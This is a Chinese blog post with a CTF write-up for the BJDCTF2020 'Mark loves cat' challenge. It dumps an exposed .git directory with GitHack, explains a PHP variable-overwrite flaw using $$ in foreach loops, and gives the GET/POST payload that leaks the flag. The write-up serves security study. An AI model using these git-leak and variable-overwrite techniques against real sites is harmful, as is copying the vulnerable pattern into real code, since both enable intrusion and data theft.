zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Mark loves cat

    [BJDCTF2020]Mark loves cat

     

     发现git泄露,使用gitHack工具进行分析

    python GitHack.py http://00db6bf7-dacb-4734-965d-9974f3882333.node3.buuoj.cn/.git

    获得index.php和flag.php文件
    index.php

     1 <?php
     2 
     3 include 'flag.php';
     4 
     5 $yds = "dog";
     6 $is = "cat";
     7 $handsome = 'yds';
     8 
     9 foreach($_POST as $x => $y){
    10     $$x = $y;
    11 }
    12 
    13 foreach($_GET as $x => $y){
    14     $$x = $$y;
    15 }
    16 
    17 foreach($_GET as $x => $y){
    18     if($_GET['flag'] === $x && $x !== 'flag'){
    19         exit($handsome);
    20     }
    21 }
    22 
    23 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    24     exit($yds);
    25 }
    26 
    27 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    28     exit($is);
    29 }
    30 
    31 echo "the flag is: ".$flag;

    flag.php

    <?php
    
    $flag = file_get_contents('/flag');

    index.php代码第9行和13行,根据$$和foreach可以判断可能存在变量覆盖漏洞,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。
    例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。

    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){
            exit($handsome);
        }
    }

    通过查看index.php代码第23行,发现get和post中不存在flag参数便退出程序输出$yds变量,这个地方可以利用

    1 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    2     exit($yds);
    3 }

    传递如下提交方式的参数

    get: yds=flag
    post: $flag=flag

    通过post方式传递$flag=flag,最终结果为$$flag=flag

    POST方式处理代码如下

    foreach($_POST as $x => $y){
        $$x = $y;
    }

    通过get方式传递yds=flag,最终结果为$yds=$flag

    GET方式处理代码如下

    foreach($_GET as $x => $y){
        $$x = $$y;
    }

    get和post中不存在flag参数便退出程序输出$yds变量,得到flag

    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
    }

    payLoad:

    ?yds=flag
    post: $flag=flag

  • 相关阅读:
    boost::asio在VS2008下的编译错误
    Java集合框架——接口
    ACM POJ 3981 字符串替换(简单题)
    ACM HDU 1042 N!(高精度计算阶乘)
    OneTwoThree (Uva)
    ACM POJ 3979 分数加减法(水题)
    ACM HDU 4004 The Frog's Games(2011ACM大连赛区第四题)
    Hexadecimal View (2011ACM亚洲大连赛区现场赛D题)
    ACM HDU 4002 Find the maximum(2011年大连赛区网络赛第二题)
    ACM HDU 4001 To Miss Our Children Time (2011ACM大连赛区网络赛)
  • 原文地址:https://www.cnblogs.com/gtx690/p/13289626.html
Copyright © 2011-2022 走看看